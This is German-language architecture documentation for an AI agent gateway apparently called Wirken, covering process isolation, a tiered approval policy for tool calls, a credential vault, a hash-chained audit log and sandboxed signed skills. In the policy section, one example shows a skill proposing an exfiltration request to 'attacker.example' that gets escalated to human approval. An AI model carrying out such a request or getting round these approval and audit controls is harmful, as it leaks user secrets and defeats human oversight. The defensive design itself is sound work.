Architektur
Wirken läuft als eine kleine Gruppe kooperierender Prozesse. Die Kanaladapter und der MCP-Proxy laufen jeweils als eigener Betriebssystem-Prozess; Gateway und Agent teilen sich einen. Jeder Adapter hält die Zugangsdaten für seinen Kanal und nichts darüber hinaus, und der MCP-Proxy hält die Zugangsdaten für jeden MCP-Server-Child-Prozess und nichts darüber hinaus. Eine Kompromittierung eines einzelnen Prozesses liest genau die Geheimnisse aus, mit denen dieser Prozess ohnehin betraut war.
Prozessisolation pro Kanal
Jeder Kanaladapter ist ein separater Betriebssystem-Prozess, den das Gateway startet und in der Adapter-Registry führt. Der Adapter hält die Plattform-Zugangsdaten für seinen Kanal und nichts darüber hinaus, sodass er keine Werkzeuge aufrufen, keine Sessions anderer Kanäle lesen und keine Zugangsdaten anderer Kanäle erreichen kann.
Die IPC zwischen Adapter und Gateway läuft über einen Unix Domain Socket. Adapter authentifizieren sich beim Verbindungsaufbau mit einem adapter-spezifischen Ed25519-Challenge-Response-Handshake, und das Gateway hält den Kanal, zu dem dieser Handshake aufgelöst hat, als authentifizierten Kanal der Verbindung fest. Frames werden mit Cap'n Proto serialisiert, einem Zero-Copy-Format, dessen Traversal-Limits das Gateway durchsetzt, bevor der Payload geparst wird.
Jeder eingehende Frame führt einen selbst deklarierten Kanal-String mit. Das Gateway ruft vor dem Routen AuthenticatedChannel::require_match auf diesem String gegen den im Handshake aufgelösten Kanal auf. Bei einer Abweichung scheitert der Frame, und beide Seiten der Diskrepanz werden in die Audit-Kette geschrieben, sodass kanalübergreifende Identitätstäuschungen im Log beobachtbar sind und nicht nur an der Tür abgewiesen werden.
Das IPC-Crate enthält einen versiegelten Channel-Trait und einen SessionHandle<C: Channel>-Typ, dessen Kanalmarker ein Zero-Sized-Type-Parameter ist. SessionHandle<Telegram> und SessionHandle<Discord> sind unterschiedliche Rust-Typen, sodass der Compiler Code zurückweist, der den einen dort übergeben will, wo der andere erwartet wird. /channels geht die Typsignaturen durch. Referenz: crates/ipc/src/channel.rs.
Die typisierte Action-Policy
Jede freigabepflichtige Operation ist eine Variante eines Rust-Action-Enums. Der Dispatcher gleicht bei jedem Werkzeugaufruf gegen das Enum ab, der Match ist total, und der Compiler erzwingt diese Totalität. Eine neue freigabepflichtige Aktion ohne Tier lässt sich nicht bauen; eine zu entfernen lässt jede Stelle scheitern, die sie bisher behandelt hat. Ihre Policy-Entscheidung findet in Rust statt, bevor das vom Modell erzeugte JSON das Werkzeug erreicht.
Eine Aktion löst sich in eine von drei Stufen auf, sobald der Dispatcher sie klassifiziert.
- Tier 1, erlaubt. Workspace-Dateizugriff, Kanalantworten, Websuche. Keine interaktive Abfrage, keine Entscheidungskosten zur Laufzeit.
- Tier 2, beim-ersten-Mal-genehmigen-und-merken. Shell-Exec für Kommandoverben auf der Allowlist, externer Dateizugriff außerhalb des Workspaces, kanalübergreifendes Messaging. Der erste Aufruf fragt bei Ihnen nach; nachfolgende Aufrufe desselben kanonisierten Musters laufen ohne Nachfrage. Freigaben verfallen nach dreißig Tagen.
- Tier 3, immer nachfragen. Destruktive Dateioperationen, Netzwerkanfragen aus Skills, Credential-Zugriff, Cron-Erstellung, Skill-Installation und Shell-Exec für jedes Kommando, das nicht auf der Allowlist steht. Freigaben werden nicht zwischengespeichert.
Ein Skill, der Action::NetworkRequest { url: "https://attacker.example/exfil" } vorschlägt, löst sich zu Tier 3 auf, also fragt der Egress bei Ihnen nach, bevor ein einziges Byte den Host verlässt. Das LLM ist nie auf dem Policy-Pfad. Das Modell schlägt vor; der Dispatcher klassifiziert; die Policy-Engine entscheidet zwischen erlauben, nachfragen oder ablehnen; und die Audit-Kette zeichnet die Entscheidung auf, bevor das Werkzeug läuft. Referenz: crates/gateway/src/permissions.rs.
Der verschlüsselte Credential-Vault
Zugangsdaten ruhen in einem XChaCha20-Poly1305-Vault. Der Vault-Schlüssel liegt im Schlüsselbund Ihres Betriebssystems (macOS Keychain über das Security-Framework, Linux Secret Service über die freedesktop-API). Wirken schreibt den Vault-Schlüssel nie auf die Festplatte.
Entschlüsselte Geheimnisse sind in SecretString eingehüllt, das bewusst weder Display, Debug, Serialize noch Clone implementiert. Der einzige Zugriffspfad gibt eine kurzlebige Referenz zurück, die den Geheimwert nicht überdauern kann, und sobald der Wert den Gültigkeitsbereich verlässt, wird sein Speicher durch zeroize genullt. Ein verirrtes println!("token: {token}") lässt sich nicht bauen, scheitert also nicht erst zur Laufzeit. Das ist keine Entwicklerkonvention; es ist eine Eigenschaft, die der Compiler auf jedem Codepfad erzwingt.
MCP-Zugangsdaten sitzen hinter einer weiteren Grenze. Der MCP-Proxy läuft als separater Prozess über einen Unix Domain Socket, und jeder MCP-Server-Eintrag in mcp.json startet seinen eigenen Child-Prozess mit eigenen Pipes und eigenen, im Geltungsbereich begrenzten Zugangsdaten. Ihr Agentenprozess hält nie ein Bearer-Token oder ein OAuth2-Client-Secret für einen MCP-Server im Klartext, sodass ein Exploit gegen den Agenten null MCP-Geheimnisse liest.
Die Audit-Kette
Jede Session schreibt ein SHA-256-hash-verkettetes Event-Log. Das Log lebt in SQLite als einzige append-only Tabelle. Jede Zeile trägt den Hash der vorhergehenden Zeile, den Hash der Event-Payload und den daraus resultierenden Ketten-Hash, und der Kettenkopf wird periodisch mit der Ed25519-Identität des Agenten über den von ihm abgedeckten Sequenzbereich signiert.
Die Events sind typisiert: Benutzernachrichten, Assistant-Nachrichten, Werkzeugaufrufe (mit Action-Variante, Tier und Entscheidung), Werkzeugergebnisse, Metadaten zu LLM-Anfragen und -Antworten (mit einem Hash der genauen Nachrichten und Werkzeuge, die an den Anbieter geschickt wurden), Berechtigungsentscheidungen, Hinweise des Injection-Detektors und ausgehende Zustellungen. Eine manipulierte Zeile bricht die Kette. Ein gefälschter Kopf scheitert an der Verifikation gegen den veröffentlichten Schlüssel des Agenten. Sie können die Reihenfolge der Events beweisen, ohne Wirken auf das Wort zu glauben. Die Kette beweist die Abfolge der Entscheidungen, nicht die Richtigkeit einer einzelnen Entscheidung.
Die Verifikation läuft offline. wirken session verify <session-id> liest die zur Session gehörenden Zeilen, berechnet die Event- und Ketten-Hashes neu, spielt deterministische Werkzeugaufrufe gegen ihre aufgezeichneten Eingaben erneut ab und meldet jede Abweichung samt Zeile und Grund. wirken audit verify läuft jede Session-Kette in der Datenbank ab und prüft die Ed25519-Signatur auf jedem Kettenkopf gegen den veröffentlichten Schlüssel des Agenten. Das vollständige Schema und die CLI-Oberfläche stehen in docs/audit-cli.md.
Dieselben typisierten Events speisen einen SIEM-Forwarder, sobald einer konfiguriert ist. Datadog, Splunk HEC, Microsoft Sentinel und jeder HTTPS-Webhook sind erstklassige Ziele. Events werden ausgeliefert, nachdem sie in der Kette gelandet sind, sodass der SIEM-Stream und Ihr lokales Audit-Log unabhängige Sichten auf denselben Datensatz sind.
Die Skill-Hülle
Ein Skill ist ein Verzeichnis. Das Verzeichnis enthält SKILL.md, die an das Modell gerichteten Anweisungen und einen YAML-Frontmatter-Block, der Werkzeuge und Berechtigungserwartungen des Skills deklariert. Optional enthält es skill.wasm, ein kompiliertes WebAssembly-Modul, das dem Agenten ein oder mehrere Werkzeuge zur Verfügung stellt. Ein Frontmatter, das disable-model-invocation: false setzt, schaltet den Skill in die automatisch auswählbare Menge des LLM frei; ohne diese Zeile ist der Skill nur über einen expliziten /skill-name-Slash-Befehl erreichbar.
Skills werden signiert. Die Signatur ist eine Ed25519-Signatur über den SHA-256-Hash von SKILL.md, hex-codiert in SKILL.sig neben dem Manifest. Zwei Verifikationsmodi werden unterstützt. Ein selbstsignierter Skill trägt seinen eigenen öffentlichen Schlüssel in SKILL.pub, und die Signatur verifiziert gegen diesen Schlüssel. Die Signatur des Bundles passt zum Schlüssel des Bundles selbst, was notwendig, aber für sich genommen keine Aussage darüber ist, wem dieser Schlüssel gehört. Ein in einer Registry verankerter Skill hängt an einer Delegationssignatur: Ein im Bundle enthaltener Root-Schlüssel signiert den Verifikationsschlüssel des Skills, und der Signatur des Skills wird erst dann vertraut, wenn diese Delegation zuerst verifiziert.
Wasm-Skills laufen innerhalb von Wasmtime mit WASI preview 1. Die Host-Link-Schicht legt ausschließlich die Werkzeug-Schnittstelle offen; stdin und stdout werden in Memory-Pipes gefangen statt auf die echten Betriebssystem-Handles geleitet. Der Dateizugriff für den Workspace des Agenten ist separat durch cap-std auf der Werkzeugebene begrenzt: das Workspace-Verzeichnis wird einmal als cap_std::fs::Dir geöffnet, und jede Dateioperation läuft durch dieses Handle, das absolute Pfade und jede Pfadkomponente, die aus dem Workspace ausbricht, ablehnt. Lyrik, der Skill für statische Codeanalyse, ist das vorgeführte Beispiel. Signiertes Bundle, deklarierte Berechtigungen, WASM-sandboxgesicherte Laufzeit, die ganze Hülle in Aktion: lyrik.wirken.ai.
Der Ablauf
Für eine eingehende Nachricht, von der Ankunft bis zur Policy-Entscheidung:
- Die Plattform stellt eine Nachricht an einen Kanaladapter zu. Der Adapter ist der einzige Prozess in Wirken, der die Zugangsdaten dieser Plattform hält.
- Der Adapter signiert und rahmt die eingehende Nachricht und leitet sie über seine authentifizierte UDS-Verbindung an das Gateway weiter. Das Gateway verifiziert den Frame, gleicht den behaupteten Kanal gegen den authentifizierten Kanal ab und zeichnet das Eingangs-Event in der Audit-Kette auf.
- Das Gateway routet die Nachricht an den passenden Agenten mit dem zusammengeführten Berechtigungsprofil für diese Session. Der Agent lädt die relevanten Skills, befüllt das Context-Window innerhalb des Token-Budgets des Modells und ruft das LLM auf.
- Der Agent empfängt einen Werkzeugaufruf vom LLM. Der Dispatcher löst ihn in eine Action-Variante auf. Die Policy-Engine prüft das Tier der Aktion und erlaubt, fragt nach oder lehnt ab. Die Audit-Kette zeichnet die Entscheidung und das Werkzeugergebnis auf, bevor der nächste Turn beginnt.